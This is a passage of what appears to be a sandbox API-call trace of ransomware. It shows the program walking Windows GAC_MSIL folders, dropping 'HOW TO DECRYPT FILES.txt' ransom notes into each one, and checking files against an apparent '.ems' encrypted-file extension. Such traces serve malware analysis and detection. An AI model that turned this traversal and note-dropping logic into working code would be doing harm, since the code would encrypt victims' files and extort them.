ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.968] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.968] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.968] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64d730d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64d730d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.968] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.968] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config") returned -1 [0100.969] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config") returned -1 [0100.969] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config") returned -1 [0100.969] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.969] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\" [0100.969] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.969] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.969] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.client.internal.host\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.969] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.client.internal.host\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.972] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.972] CloseHandle (hObject=0x90) returned 1 [0100.972] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config" [0100.972] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config", pszSpec="*.ems") returned 0 [0100.973] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x543977b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.973] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll") returned -1 [0100.973] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll") returned -1 [0100.973] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll") returned -1 [0100.973] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config") returned="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.config" [0100.973] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\" [0100.973] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.973] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.973] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.client.internal.host\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.973] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll" [0100.973] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll", pszSpec="*.ems") returned 0 [0100.973] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x543977b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.Client.Internal.Host.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.973] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.974] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x543977b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.974] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.974] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f482e6c, dwReserved1=0x642e7473, cFileName="Policy.12.0.Microsoft.Office.InfoPath.FormControl", cAlternateFileName="POLICY~1.FOR")) returned 1 [0100.974] lstrcmpA (lpString1=".", lpString2="Policy.12.0.Microsoft.Office.InfoPath.FormControl") returned -1 [0100.974] lstrcmpA (lpString1="..", lpString2="Policy.12.0.Microsoft.Office.InfoPath.FormControl") returned -1 [0100.974] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.974] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.FormControl" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl" [0100.974] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.975] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.975] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.975] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.975] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.975] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542d90d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.975] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.975] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.975] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\*.*") returned="*.*" [0100.975] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c" [0100.975] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542d90d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.977] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.977] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542d90d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.977] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.977] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.977] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64cdab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64cdab50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.InfoPath.FormControl.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.978] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.978] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.FormControl.config") returned -1 [0100.978] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.InfoPath.FormControl.config") returned -1 [0100.978] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.InfoPath.FormControl.config") returned -1 [0100.978] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.978] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\" [0100.978] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.978] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.978] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.formcontrol\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.978] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.formcontrol\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.980] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.981] CloseHandle (hObject=0x90) returned 1 [0100.981] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.InfoPath.FormControl.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config" [0100.981] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config", pszSpec="*.ems") returned 0 [0100.981] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542d90d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x542d90d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="policy.12.0.Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.981] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.982] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="policy.12.0.Microsoft.Office.InfoPath.FormControl.dll") returned -1 [0100.982] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="policy.12.0.Microsoft.Office.InfoPath.FormControl.dll") returned -1 [0100.982] lstrcmpiA (lpString1="", lpString2="policy.12.0.Microsoft.Office.InfoPath.FormControl.dll") returned -1 [0100.982] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.InfoPath.FormControl.config") returned="Policy.12.0.Microsoft.Office.InfoPath.FormControl.config" [0100.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\" [0100.982] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.982] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.982] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.infopath.formcontrol\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.982] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\", lpString2="policy.12.0.Microsoft.Office.InfoPath.FormControl.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\policy.12.0.Microsoft.Office.InfoPath.FormControl.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\policy.12.0.Microsoft.Office.InfoPath.FormControl.dll" [0100.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.InfoPath.FormControl\\14.0.0.0__71e9bce111e9429c\\policy.12.0.Microsoft.Office.InfoPath.FormControl.dll", pszSpec="*.ems") returned 0 [0100.983] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542d90d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x542d90d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="policy.12.0.Microsoft.Office.InfoPath.FormControl.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.983] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.983] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542d90d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.983] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.983] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, 